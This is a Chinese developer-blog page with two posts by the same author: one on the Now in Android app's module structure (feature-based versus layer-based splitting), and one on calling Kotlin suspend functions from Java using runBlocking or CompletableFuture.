core-testing测试依赖项、存储库和实用程序类。NiaTestRunner TestDispatcherRule
core-datastore使用 DataStore 存储持久数据。NiaPreferences UserPreferencesSerializer
core-database使用 Room 的本地数据库存储。NiADatabase DatabaseMigrations Dao classes
core-model整个应用程序中使用的模型类。Author Episode NewsResource
core-navigation导航依赖项和共享导航类。NiaNavigationDestination

Now in Android 的模块化

Now in Android 项目中的模块化方案是在综合考虑项目的 Roadmap、即将开展的工作和新功能的情况下定义的。Now in Android 项目的目标是提供一个接近生产环境的大型 App 的模块化方案,并且要让方案看起来并没有过度模块化,希望是在两者之间找到一种平衡。

这种方法与 Android 社区进行了讨论,并根据他们的反馈进行了改进。这里并没有一个绝对的正确答案。归根结底,模块化 App 有很多方法和方法,没有唯一的灵丹妙药。这就需要在模块化之前考虑清楚目标、要解决的问题已经对后续工作的影响,这些特定的情况会决定模块化的具体方案。可以绘制出模块依赖关系图,以便帮助更好地分析和规划。

这个项目就是一个示例,并不是一个需要固守不可改变固定结构,相反而是可以根据需求就行变化的。根据 Now in Android 这是我们发现最适合我们项目的一般准则,并提供了一个示例,可以在此基础上进一步修改、扩展和构建。如果您的数据层很小,则可以将其保存在单个模块中。但是一旦存储库和数据源的数量开始增长,可能值得考虑将它们拆分为单独的模块。

最后,官方对其他方式的模块化方案也是持开发态度,有更好的方案及建议也可以反馈出来。

总结

以上内容是根据 Modularization learning journey 翻译整理而得。整体上是提供了一个示例,对一些初学者有一个可以参考学习的工程,对社区中模块化开发起到的积极的作用。说实话,这部分技术在国内并不是什么新技术了。

下面讲一个我个人对这个模块化方案的理解,以下是个人观点,请批判性看待。

首先是好的点提供了通用的 Gradle 配置,简化了各个模块的配置步骤,各种方式预计会在之后的一些项目中流行开来。

不足的点就是没有明确模块化的整体策略,是应采取按照功能还是按照特性分,类似讨论还有我们平时的类文件是按照功能来分还是特性来分,如下是按照特性区分:

# DO,建议方式
- Project
- feature1
- ui
- domain
- data
- feature2
- ui
- domain
- data
- feature3

按照功能区分的方式大致如下:

# DO NOT,不建议方式
- Project
- ui
- feature1
- feature2
- feature3
- domain
- feature1
- feature2
- feature3
- data

我个人是倾向去按照特性的方式区分,而示例中看上去是偏后者,或者是一个混合体,比如有的模块是添加 feature 前缀的,但是 core-model 模块又是在统一的一个模块中集中管理。个人建议的方式应该是将各个模块中各自使用的模型放到自己的模块中,否则项目在后续进行组件化时将会遇到频繁发版的问题。当然,这种方式在模块化的阶段并没有什么大问题。

模块化之后就是组件化,组件化之后就是壳工程,每个技术阶段对应到团队发展的阶段,有机会的话后面可以展开聊聊。


作者:madroid
链接:https://juejin.cn/post/7128069998978793509
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

收起阅读 »

Kotlin 协程如何与 Java 进行混编?

问题 在 Java 与 Kotlin 混编项目中大概率是会遇到 Kotlin 线程的使用问题。协程的混编相对于其他特性的使用上会相对麻烦而且比较容易踩坑。我们以获取 token 来举例,比如有一个获取 token 的 suspend 函数: // 常规的 su...
继续阅读 »

问题


在 Java 与 Kotlin 混编项目中大概率是会遇到 Kotlin 线程的使用问题。协程的混编相对于其他特性的使用上会相对麻烦而且比较容易踩坑。我们以获取 token 来举例,比如有一个获取 token 的 suspend 函数:


// 常规的 suspend 函数,可以供 Kotlin 使用,Java 无法直接使用
suspend fun getTokenSuspend(): String {
// do something too long
return "Token"
}

想要在 Java 中直接调用则会产出如下错误:


image.png


了解 Kotlin 协程机制的同学应该知道 suspend 修饰符在 Kotlin 编译器期会被处理成对应的 Continuation 类,这里不展开讨论。


这个问题也可以使用简单的方式进行解决,那就是使用 runBlocking 进行简单包装一下即可。


使用 runBlocking 解决


一般情况下我们可能会使用以下代码解决上述问题。定义的 Kotlin 协程代码如下:


// 提供给 Java 使用的封装函数,Java 代码可以直接使用
fun getTokenBlocking(): String =runBlocking{// invoke suspend fun
getTokenSuspend()
}

在 Java 层代码的使用方式大致如下:


public void funInJava() {
String token = TokenKt.getTokenBlocking();
}

看上去方案比较简单,但是直接使用 runBlocking 也会存在一些隐患。 runBlocking 会阻塞当前调用者的线程,如果是在主线程进行调用的话,会导致 App 卡顿,严重的会导致 ANR 问题。那有没有比 runBlocking 更合理的解决方案呐?


回答这个问题之前,先梳理下 Java 与 Kotlin 两种语言在处理耗时函数的一般做法。


Java & Kotlin 耗时函数的一般定义


Java



  • 靠语义约束。比如定义的函数名中 sync 修饰,表明他可能是一个耗时的函数,更好的还会添加 @WorkerThread 注解,让 lint 帮助使用者去做一些检查,确保不会在主线程中去调用一些耗时函数导致页面卡顿。

  • 靠语法约束,定义 Callback。将耗时的函数执行放到一个单独的线程中执行,然后将回调的结果通过 Callback 的形式返回。这种方式无论调用者是什么水平,代码质量都不会有问题;


Kotlin



  • 靠语义约束,同 Java

  • 添加 suspend 修饰,靠语法约束。内部耗时函数切到子线程中执行。外部调用者使用同步的方式调用耗时函数却不会阻塞主线程(这也是 Kotlin 协程主要宣传的点)。


在 Java 与 Kotlin 混编的项目中,上述情况的复杂度将会上升。


使用 CompletableFuture 解决


在审视一下 runBlocking 的使用问题,这种做法是将 Kotlin 中的语法约束退化到语义约束层面了,有的可能连语义层面的约束都没有,这种情况只能祈求调用者的使用是正确的 -- 在子线程调用,而不是在主线程调用。那应该如何怎么处理,就是采用回调的方式,让语法能够规避的问题就不要采用语义来处理。


suspend fun getToken(): String {
// do something too long
return "Token"
}

fun getTokenFuture(): CompletableFuture<String> {
returnCoroutineScope(Dispatchers.IO).future{getToken()}
}

注意:future 是 org.jetbrains.kotlinx:kotlinx-coroutines-jdk8 包中提供的工具类,基于 CoroutineScope 定义的扩展函数,使用时需要导入依赖包。


Java 中的使用方式如下:


public void funInJava() {
try {
// 通过 Future get() 显示调用 getTokenFuture 函数
TestKt.getTokenFuture().get();
} catch (ExecutionException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}

可能会问这里看上去和直接在函数内部使用 runBlocking 没有太大的区别,反而使用上会更麻烦些。的确是这样的,这样的目的是把选择权交给调用者,或者说让调用者显示的知道这不是一个简单的函数,从而提高其在使用 API 时的警惕度,也就是之前提到的从语法层面对 API 进行约束。


退一步说,上述的内容是针对的仅仅是“不得不”这么做的场景,但是对于大部分场景都是可以通过合理的设计来避免出现上述情况:



  • 底层定义的 suspend 函数可以在上层的 ViewModel 中的 viewModelScope 中调用解决;

  • 统一对外暴露的 API 是 Java 类的话,新增的 API 提供可以使用 suspend 类型的扩展函数,使用 suspend 类型对外暴露;

  • 如果明确知道调用者是 Java 代码,那么请提供 Callback 的 API 定义;


总结


尽量使用合理的设计来尽量规避 Kotlin 协程与 Java 混用的情况,在 API 的定义上语法约束优先与语义约束,语义约束优于没有任何约束。当然在特殊的情况下也可以使用 CompletableFuture API 来封装协程相关 API。


下面对几种常见场景推荐的一些写法:



  1. 在单元测试中可以直接使用 runBlocking

  2. 耗时函数可以直接定义为 suspend 函数或者使用 Callback 形式返回;

  3. 对于 Java 类中调用协程函数的场景应使用显示的声明告知调用者,严格一点的可以判断线程,对于在主线程调用的可以抛出异常或者记录下来统一处理;

作者:madroid
链接:https://juejin.cn/post/7130270050572828703
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »